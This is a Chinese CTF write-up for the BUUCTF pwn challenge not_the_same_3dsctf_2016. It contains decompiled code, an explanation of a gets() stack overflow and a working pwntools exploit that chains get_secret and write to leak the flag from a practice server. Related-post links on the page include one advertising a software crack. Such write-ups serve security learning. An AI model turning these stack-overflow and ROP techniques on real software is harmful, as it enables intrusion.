BUUCTF-not_the_same_3dsctf_2016

buuctf——not_the_same_3dsctf_2016 这道题和前面分析过的get_started_3dsctf_2016差不多,换汤不换药。 选择一个地址0x080EB000,用来装shellcode。这个地址要改成可执行的。使用mprotect函数改变。 解题代码: from pwn import * #p=process("./not") p=remote("node3.buuoj.cn",29607) elf=ELF("./not") read=elf.symbols["read"] mprotect=elf.symbols["mprotect"] m 阅读详情

1.checksec基本操作

只开启了NX保护

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(v4); //栈溢出
  return 0;
}

跟进v4

 

offset=0x3c

get_secret 

int get_secret()
{
  int v0; // esi

  v0 = fopen("flag.txt", &unk_80CF91B);
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}

flag被写在bss段

利用:

  1. 栈溢出覆盖返回地址为get_secret地址
  2. 通过write打印flag 

3.EXP

from pwn import *


r = remote("node4.buuoj.cn",25171)

elf = ELF("./17notthesame3dsctf")

#params
flag_func_addr = elf.symbols['get_secret']
flag_addr=0x80ECA2D

#attack
payload=b'M' * 45 + p32(flag_func_addr) + p32(elf.sym['write']) + b'M'*4 + p32(1) + p32(flag_addr) + p32(100)
r.sendline(payload)

r.interactive()

【BUUCTF - PWN】not_the_same_3dsctf_2016 checksec一下,可以栈溢出 IDA打开看看,直接可以溢出 有一个后门函数,会把flag放在bss段上 程序有write函数,通过rop把flag打印出来 from pwn import * from LibcSearcher import * context.os='linux' context.arch='i386' context.log_level='debug' sl=la... 阅读详情

相关推荐

飞秒激光加工石英玻璃的COMSOL多物理场仿真研究

多物理场仿真是现代工程研发的重要工具,通过耦合电磁、热传导和流体力学等物理场,可以准确预测复杂工况下的材料行为。COMSOL Multiphysics作为主流仿真平台,其双温模型能精确描述飞秒激光加工中的电子-声子耦合过程。这种仿真技术可显著降低实验成本,在微纳加工领域尤为关键。针对石英玻璃这类光学材料,仿真能有效优化激光参数,实现亚微米级精度的冷加工。研究显示,结合移动网格技术和自定义材料状态函数,可以准确预测烧蚀形貌与热影响区分布,为光学器件和微流控芯片制造提供可靠工艺指导。

weixin_29290863的博客 240

【BUUCTFPWN】not_the_same_3dsctf_2016

【BUUCTF - PWN】not_the_same_3dsctf_2016题解

m0_55368674的博客 760

VHDL实战:基于EDA的数字频率计(FREQ)设计与优化

本文详细介绍了使用VHDL语言和EDA工具设计并优化数字频率计(FREQ)的全过程。从核心原理与模块划分入手,深入讲解了时钟分频、测频控制、计数锁存及显示驱动等关键模块的VHDL实现,并提供了从代码编写、功能仿真到综合布局布线的完整EDA实战指南。文章还探讨了测量精度优化、资源权衡及跨时钟域处理等进阶话题,是掌握FPGA数字系统设计的经典案例。

milk8的博客 583

BUUCTF not_the_same_3dsctf_2016

本题目本地与远程得用两种方案打。

红叶的博客 385

东方马达步进电机AZM66AK-HS100+AZD-KD调试经验记录

东方马达步进电机AZM66AK-HS100+AZD-KD调试经验记录(20170803YC) 本次总结主要实现的功能如下:用MEXE02软件在步进电机驱动器中设置好控制动作,每个控制动作有一个特定的编号。之后通过PC和驱动器之间的485通讯,发送相关指令,使步进电机按照一定编号的控制动作运转。 参考资料:东方马达步进电机AZM66AK-HS100+AZD-KD的产品手册,可在官网下载。 A....

dahailuoa6的博客 1万+

SCCM实战指南:从零搭建企业级Windows自动化部署平台

本文提供了一份详细的SCCM实战指南,手把手教你从零搭建企业级Windows自动化部署平台。内容涵盖环境规划、AD架构扩展、SQL Server配置、SCCM主站点安装,以及最终实现操作系统镜像的自动化部署,旨在帮助IT管理员彻底告别手动装机,实现高效、规范的Windows设备批量管理。

weixin_29251337的博客 638

[BUUCTF]-PWN:not_the_same_3dsctf_2016解析

答:这里跟exit没有太大关系,不是exit也行,但printf和flag_addr的隔一个是printf函数在32位的调用规则,也就是通过栈传参,64位与32位不同,64位是前6个参数通过寄存器传参,因此payload的书写也不同,这个需要注意。答:printf从缓冲区打印出东西需要满足条件,比如有换行符或缓冲区已满或程序退出,如果不满足条件flag无法被打印出来。答:因为这里没有rbp,在main函数的汇编界面就可以看到程序并没有把rbp推入,所以不用覆盖rbp。问题1:为什么填充45个字符?

2301_79326813的博客 1036

非球面检测

摘要:非球面镜检测主要采用干涉法,包括零位补偿和非零位补偿两种方式。零位补偿通过透镜组完全校正像差,精度达1%波长,但设计复杂成本高;非零位补偿利用部分像差补偿降低波前斜率,适用于规则非球面。折射-衍射混合补偿镜能同时校正多种像差。实际检测中可采用物理补偿镜或动态CGH加载方案,光路设计需运用坐标断点和多重结构技术实现复杂光路建模。不同方法各具优势,需根据检测需求选择合适方案。

Zhaxibamao的博客 2107

【not_the_same_3dsctf_2016】

from pwn import* from LibcSearcher import LibcSearcher r=remote("node5.buuoj.cn",27164) elf=ELF(r"C:\Users\lezho\Desktop\misc\not_the_same_3dsctf_2016") printf=elf.symbols["printf"] print(hex(puts_plt)) get_flag=0x080489A0 fla

2301_81060697的博客 538

动力学约束下的运动规划算法——Hybrid A*算法(附程序实现及详细解释)

本文主要介绍动力学约束下的运动规划算法中非常经典的Hybrid A*算法,大致分为三部分,第一部分是在传统A * 算法的基础上,对Hybrid A * 算法的原理、流程进行理论介绍。第二部分是详细分析 MotionPlanning运动规划库中Hybrid A * 算法的源码,进一步深入对Hybrid A * 算法的具体细节 进行理解。 第三部分是结合前面第一部分的理论和第二部分的详细源码,对Hybrid A * 算法的流程进行综合的概括总结。

慕羽★的博客 1万+

FPGA JTAG接口设计全解析

JTAG是FPGA开发的核心接口,主要用于代码下载和在线调试。14-pin设计中包含TCK、TMS、TDI、TDO四个关键信号,采用信号-地布局增强抗干扰能力,TCK建议串联电阻。10-pin设计需注意转接适配,并推荐使用RCLAMP0524P等低电容TVS二极管进行ESD防护。两种接口设计都强调信号完整性和可靠性,建议PCB布局时保持JTAG走线短且预留调整空间。

在读研究生,FPGA电路设计与功能开发。 2184

[BUUCTF]PWN14——not_the_same_3dsctf_2016

[BUUCTF]PWN14——not_the_same_3dsctf_2016 题目网址:https://buuoj.cn/challenges#not_the_same_3dsctf_2016 步骤: 例行检查,32位,开启了nx保护 nc一下看看程序大概的执行情况,没看出个所以然 32位ida载入,shift+f12查看程序里的字符串,发现flag.txt 双击跟进,ctrl+x找到调用这个字符串的函数,可以看到,这个函数将flag读了出来,存放到了unk_80F91B的位置,我们要想办法将这个地

mcmuyanga的博客 2402

在 Eclipse 里快速用上 SAP Joule:ABAP 开发者的 AI 助手上手指南

本文介绍了SAP Joule for developers如何集成在ABAP开发工具中,为开发者提供AI辅助能力。主要内容包括: Joule作为ADT的增强层,直接嵌入开发流程,支持在项目资源管理器、代码编辑器等场景下通过上下文菜单调用AI功能。 核心使用方式:打开Joule视图后,可在开发对象、代码片段等上下文中使用自然语言交互,请求解释、生成测试或获取示例代码。 重点功能: Explain:解释现有代码逻辑,降低理解成本 ABAP Unit测试生成:快速创建与上下文相关的测试用例 支持在传输管理器等完整

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 394

buuctf-not_the_same_3dsctf_2016(三种方法)

摘要 本文分析了BUUOJ平台上的not_the_same_3dsctf_2016题目,介绍了3种利用手法拿到falg值

hanjinming110的博客 1151

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

CTF-PWN-buuctf-not_the_same_3dsctf_2016-ROP函数返回到指定位置和ROP-chain的典型使用

CTF-PWN 来源:https://buuoj.cn/challenges 内容: 附件:链接:https://pan.baidu.com/s/1Wll80yDkRvz5XMW_xIZRNQ?pwd=uye9 提取码:uye9 答案:flag{c264d02e-6de6-4164-82a6-bdcb6c8ba64f} 总体思路 发现题目存在溢出点,并且给了flag相关的函数 但是此题是静态编译的,有很多其他不必要的函数,可以尝试直接使用ROP-chain方法get-shell 详细步骤 查看文件信

serfend's blog 1692

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

buuctf[not_the_same_3dsctf_2016]

使用checksec查看,只开启了栈不可执行的保护使用ida打开并查找到main函数。

2501_92612816的博客 442

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

[PWN] BUUCTF not_the_same_3dsctf_2016的三种做法

[PWN] BUUCTF not_the_same_3dsctf_2016的三种做法1.维持函数正常结束(printf打印)payload1(FALSE)payload2(TRUE)2.write打印payload3.修改栈区权限存在疑惑参考wp 按照惯例先checksec一下,发现没有canary和pie 之后用ida查看主要函数main有个gets函数存在栈溢出 函数窗口中有个backdoor函数get_secret,因为这个函数可以读取flag.txt并且通过v0将内容写进fl4g,所以可以想到在

空城惜梦的博客 690

[BUUCTF-pwn]——not_the_same_3dsctf_2016

not_the_same_3dsctf_2016 题目地址:https://buuoj.cn/challenges#not_the_same_3dsctf_2016 首先checksec一下,看看32位程序 在IDA中,发现栈溢出典型函数gets函数,这里注意这个main函数没有ebp shift+F12看下,发现了flag.txt这种敏感 字符串 找到调用的函数get_secret函数 函数调用后,flag储存在fl4g里面,我们找到fl4g的位置 找到可以输出的write函数 下面我们就可

Y_peak的博客 1283

[PWN] BUUCTF not_the_same_3dsctf_2016 1 Writeup

解题 checksec 先checksec一下,发现没有开canary方便了栈溢出,PIE也没开 反编译 IDA反编译 main函数 get_secret函数 分析利用 程序先进入main函数,有一个gets(无限长度的栈溢出) get_secret函数是将flag.txt读入bss段中,并没有做输出的操作 思路:,在main函数中修改main函数的返回地址,返回到get_secret函数中,读取flag,再返回到mian函数中(第二次进入main函数),修改返回地址为printf的地址,传入flag

Csome 730

buuctf中的not_the_same_3dsctf_2016

这里打开了flag.txt文本文件,这几行代码的作用就是将flag.txt中的内容写入到fl4g这个变量中去,想就是flag了吧,但是发现我们还得自己去调用printf函数将fl4g的内容打印出来才能拿到flag。由于栈溢出执行完printf函数后需要正常退出才能打印出flag的值,所以还需用到exit函数的地址,同样在IDA中拿到:0x0804E660。payload需要先执行get_secret函数将flag读取到对应的变量中后我们再将这个变量的值printf出来。-成功打印出flag。

2301_79485835的博客 655

BUUCTF pwn——not_the_same_3dsctf_2016

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 368

buuctf not_the_same_3dsctf_2016

一开始没看到get_secret函数,去用mprotect去做了,结果报错卡住了。 思路是用write把get_serect写到bss里的flag显示出来,write bss就可以。 exp: from pwn import * from LibcSearcher import * context(log_level = 'debug',arch ='i386',os = 'linux'...

carol2358的博客 372

BUUCTF-PWN-not_the_same_3dsctf_2016

文章目录查看文件信息IDA静态分析exp 查看文件信息 开了个NX保护 IDA静态分析 开始看上去 其实就是利用gets()来溢出的 我们可以 shift+f12 查看字符串 可以看到 flag.txt 这个字符串 我们进去看一看…开始的思路其实是利用gets函数溢出来覆盖返回地址去读出flag,然后利用get_secret函数的输入点造成溢出覆盖返回地址到write函数的地址,打印出unk_80CF91B里面储存flag的内容,但是要知道的是,fgets函数其实是有保护机制的,所以我们利用这个是读

Henlenl的博客 312
上一篇: PWN-fastbin attack
下一篇: BUUCTF-[ZJCTF 2019]EasyHeap1
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值